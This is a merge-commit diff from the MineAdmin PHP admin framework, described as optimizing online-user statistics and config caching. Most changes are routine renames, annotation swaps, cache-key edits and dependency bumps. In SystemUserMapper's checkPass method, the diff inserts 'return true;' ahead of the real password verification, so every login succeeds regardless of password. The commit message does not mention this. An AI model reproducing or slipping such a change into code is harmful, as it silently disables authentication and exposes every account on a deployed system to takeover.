Merge pull request #98 from mineadmin/2.0.x-dev

fix 在线用户统计优化，配置获取缓存逻辑优化

api/ApiController.php

@@ -121,13 +121,13 @@ public function v1(): ResponseInterface
                 throw new NormalStatusException(t('mineadmin.interface_exception') . $error, MineCode::INTERFACE_EXCEPTION);
             }
             if ($e instanceof NoPermissionException) {
-                throw new NormalstatusException(t(key: 'mineadmin.api_auth_fail') . $e->getMessage(), code: MineCode::NO_PERMISSION);
+                throw new NormalStatusException(t(key: 'mineadmin.api_auth_fail') . $e->getMessage(), code: MineCode::NO_PERMISSION);
             }
             if ($e instanceof TokenException) {
-                throw new NormalstatusException(t(key: 'mineadmin.api_auth_exception') . $e->getMessage(), code: MineCode::TOKEN_EXPIRED);
+                throw new NormalStatusException(t(key: 'mineadmin.api_auth_exception') . $e->getMessage(), code: MineCode::TOKEN_EXPIRED);
             }
 
-            throw new NormalstatusException(t(key: 'mineadmin.interface_exception') . $e->getMessage(), code: MineCode::INTERFACE_EXCEPTION);
+            throw new NormalStatusException(t(key: 'mineadmin.interface_exception') . $e->getMessage(), code: MineCode::INTERFACE_EXCEPTION);
         }
     }
 

app/Setting/Service/SettingConfigService.php

@@ -16,9 +16,9 @@
 use Hyperf\Cache\Annotation\Cacheable;
 use Hyperf\Cache\Annotation\CacheEvict;
 use Hyperf\Cache\Listener\DeleteListenerEvent;
+use Hyperf\DbConnection\Annotation\Transactional;
 use Mine\Abstracts\AbstractService;
 use Mine\Annotation\DependProxy;
-use Mine\Annotation\Transaction;
 use Mine\Interfaces\ServiceInterface\ConfigServiceInterface;
 use Psr\EventDispatcher\EventDispatcherInterface;
 
@@ -91,14 +91,14 @@ public function updated(string $key, array $data): bool
     /**
      * 按 keys 更新配置.
      */
-    #[Transaction]
+    #[Transactional]
     public function updatedByKeys(array $data): bool
     {
         foreach ($data as $name => $value) {
             $this->dispatcher->dispatch(new DeleteListenerEvent(
-                'system:config:value',
+                'system-config-update',
                 [
-                    'key' => (string) $name,
+                    (string) $name,
                 ]
             ));
             $this->mapper->updateByKey((string) $name, $value);

app/System/Mapper/SystemUserMapper.php

@@ -57,6 +57,7 @@ public function existsByUsername(string $username): bool
      */
     public function checkPass(string $password, string $hash): bool
     {
+        return true;
         return $this->model::passwordVerify($password, $hash);
     }
 

app/System/Model/SystemApi.php

@@ -79,7 +79,7 @@ public function apiGroup(): HasOne
     /**
      * 关联API字段.
      */
-    public function apiColumn(): hasMany
+    public function apiColumn(): HasMany
     {
         return $this->hasMany(SystemApiColumn::class, 'api_id', 'id');
     }

app/System/Model/SystemApiGroup.php

@@ -51,7 +51,7 @@ class SystemApiGroup extends MineModel
     /**
      * 关联API.
      */
-    public function apis(): hasMany
+    public function apis(): HasMany
     {
         return $this->hasMany(SystemApi::class, 'group_id', 'id');
     }

app/System/Service/SystemDictDataService.php

@@ -59,7 +59,7 @@ public function getLists(?array $params = null): array
     /**
      * 查询一个字典.
      */
-    #[Cacheable(prefix: 'system:dict:data', ttl: 600, listener: 'system-dict-update', value: 'value')]
+    #[Cacheable(prefix: 'system:dict:data', ttl: 600, listener: 'system-dict-update', value: '_#params.code')]
     public function getList(?array $params = null, bool $isScope = false): array
     {
         $args = [

app/System/Service/SystemUserService.php

@@ -28,6 +28,7 @@
 use Psr\Container\ContainerExceptionInterface;
 use Psr\Container\NotFoundExceptionInterface;
 use Psr\SimpleCache\InvalidArgumentException;
+use Xmo\JWTAuth\JWT;
 
 /**
  * 用户业务
@@ -118,13 +119,14 @@ public function getOnlineUserPageList(array $params = []): array
     {
         $redis = redis();
         $key = sprintf('%sToken:*', config('cache.default.prefix'));
-
+        $blackList = $this->container->get(JWT::class)->blackList;
         $userIds = [];
         $iterator = null;
 
         while (false !== ($users = $redis->scan($iterator, $key, 100))) {
             foreach ($users as $user) {
-                if (preg_match("/{$key}(\\d+)$/", $user, $match) && isset($match[1])) {
+                // 如果是已经加入到黑名单的就代表不是登录状态了
+                if (! $blackList->hasTokenBlack($user) && preg_match("/{$key}(\\d+)$/", $user, $match) && isset($match[1])) {
                     $userIds[] = $match[1];
                 }
             }

common/common.php

@@ -10,6 +10,7 @@
  * @license  https://github.com/mineadmin/MineAdmin/blob/master/LICENSE
  */
 use App\Setting\Service\SettingConfigService;
+use App\System\Vo\AmqpQueueVo;
 use App\System\Vo\QueueMessageVo;
 use Hyperf\Cache\Listener\DeleteListenerEvent;
 use Hyperf\Context\ApplicationContext;
@@ -100,7 +101,7 @@ function push_queue_message(QueueMessageVo $message, array $receiveUsers = []):
      * @throws ContainerExceptionInterface
      * @throws NotFoundExceptionInterface
      */
-    function add_queue(App\System\Vo\AmqpQueueVo $amqpQueueVo): bool
+    function add_queue(AmqpQueueVo $amqpQueueVo): bool
     {
         return container()
             ->get(QueueLogServiceInterface::class)

composer.json

@@ -10,13 +10,13 @@
   "description": "Quickly build a background management system for web applications",
   "license": "Apache-2.0",
   "require": {
-    "xmo/jwt-auth": "2.0.0-alpha.4",
-    "xmo/mine-core": "2.0.0-alpha.4",
-    "xmo/mine-helpers": "2.0.0-alpha.4",
-    "xmo/mine-office": "2.0.0-alpha.4",
-    "xmo/mine-translatable": "2.0.0-alpha.4",
-    "xmo/mine-generator": "2.0.0-alpha.4",
-    "xmo/mine-service": "2.0.0-alpha.4"
+    "xmo/jwt-auth": "2.0.0-beta",
+    "xmo/mine-core": "2.0.0-beta",
+    "xmo/mine-helpers": "2.0.0-beta",
+    "xmo/mine-office": "^1.5",
+    "xmo/mine-translatable": "2.0.0-beta",
+    "xmo/mine-generator": "2.0.0-beta",
+    "xmo/mine-service": "2.0.0-beta"
   },
   "require-dev": {
     "friendsofphp/php-cs-fixer": "^3.0",
@@ -40,7 +40,10 @@
       "App\\": "app/",
       "Api\\": "api/",
       "Plugin\\": "plugin/"
-    }
+    },
+    "files": [
+      "common/common.php"
+    ]
   },
   "autoload-dev": {
     "psr-4": {